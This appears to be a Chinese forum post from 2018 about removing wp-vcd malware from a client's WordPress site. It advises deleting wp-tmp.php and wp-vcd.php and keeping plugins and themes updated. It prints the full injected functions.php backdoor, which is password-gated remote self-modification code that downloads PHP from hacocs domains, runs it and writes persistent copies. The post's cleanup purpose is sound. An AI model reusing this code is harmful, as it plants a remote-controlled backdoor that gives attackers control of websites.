Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。
1
2018-12-20

1 个评论

感谢分享。

要回复文章请先登录注册